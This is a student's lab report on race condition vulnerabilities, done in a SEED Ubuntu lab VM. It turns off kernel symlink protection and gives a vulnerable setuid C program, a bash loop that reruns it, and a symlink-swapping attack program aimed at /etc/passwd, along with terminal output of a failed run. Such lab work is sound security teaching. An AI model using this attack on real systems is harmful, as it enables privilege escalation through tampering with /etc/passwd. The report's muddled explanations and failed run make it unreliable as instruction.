CSCI 401

Lab - 6

Prof. Kadri Brogi

March 12, 2020

Emranul Hakim

23467834

Race Condition Vulnerability

A **race condition attack** happens when a computing system that's designed to handle tasks in a specific sequence is forced to perform two or more operations simultaneously. This technique takes advantage of a time gap between the moment a service is initiated and the moment a security control takes effect. When a normal update to an application or database takes place — and names, numbers, or other data are changed to reflect the most current state of information — a cybercriminal could unleash a race condition attack. This is possible because the database isn't completely rewritten during the update process. As the update takes place, a gap exists, one that can last less than a second or up to a few minutes, during which the system is unprotected. This allows attackers to gain unauthorized access. During this brief period, an attacker can send queries that compromise the system and result in a race condition attack.

2.1

Since we are using the 16.04 version of ubuntu for the lab which has its own built-in protection against race condition attacks. Which can be disable by the following ways.

Sudo sysctl -w fs.protected_symlinks=0

2.2

The following c program has the race condition vulnerability in which we will be launching an attack.

```c
/* vulp.c */
#include <stdio.h>
#include<unistd.h>
#include<string.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
 fp = fopen(fn, "a+");
 fwrite("\n", sizeof(char), 1, fp);
 fwrite(buffer, sizeof(char), strlen(buffer), fp);
 fclose(fp);
}
else printf("No permission \n");

return 0;
}
```

2.3

To launch this attack, we have created the two programs to take part in race. Which we called the target process and attack process. We will try to run the target process multiple times because we are not sure that we can win in a single try. In the following program the target_process.sh will execute the vulp program and read the passwd_input.

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

```c
#include <stdio.h>
#include<unistd.h>
#include<string.h>


int main()
{
 while(1){
  unlink("/tmp/XYZ");
  symlink("/dev/null", "/tmp/XYZ");
  usleep(1000);

  unlink("/tmp/XYZ");
  symlink("/etc/passwd", "/tmp/XYZ");
  usleep(1000);

}

return 0;

}
```

After writing the two programs where one is target_process.sh that execute the vulnerable program for multiple times. And the attack_process.c program that we want to change the content from. We run the two programs in two different terminals as shown below and observe the following:

```
[03/12/20]seed@VM:~/.../la
b6$ gcc attack_process.c -
o attack_process
[03/12/20]seed@VM:~/.../la
b6$ sudo chown root attack
_process
[03/12/20]seed@VM:~/.../la
b6$ sudo chmod 4755 attack
_process
[03/12/20]seed@VM:~/.../la
b6$ ./attack_process
```

```
/bin/bash 37x24
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
target_process.sh: line 7: passwd
ut: No such file or directory
^Z
[5]+  Stopped                 bash
```

```
[03/12/20]seed@VM:~/.../lab6$ ls -al vulp* attack_proce
ss* target_process.sh
-rwsr-xr-x 1 root seed 7432 Mar 12 13:03 attack_process
-rw-rw-r-- 1 seed seed  251 Mar 12 11:59 attack_process
.c
-rw-rw-r-- 1 seed seed  202 Mar 12 12:57 target_process
.sh
-rwsr-xr-x 1 root seed 7628 Mar 12 13:01 vulp
[03/12/20]seed@VM:~/.../lab6$ ./target_process.sh ; ./a
ttack_process
bash: ./target_process.sh: Permission denied
```

Summary:

Once an intruder has breached a system using a race condition attack, it's possible to alter, manipulate, or steal data, make changes to privileges, insert malicious code, unleash a denial of service (DoS) attack, and deactivate security controls. To prevent this type of vulnerability the developer should be aware about the race condition, how it occurs and when it occurs.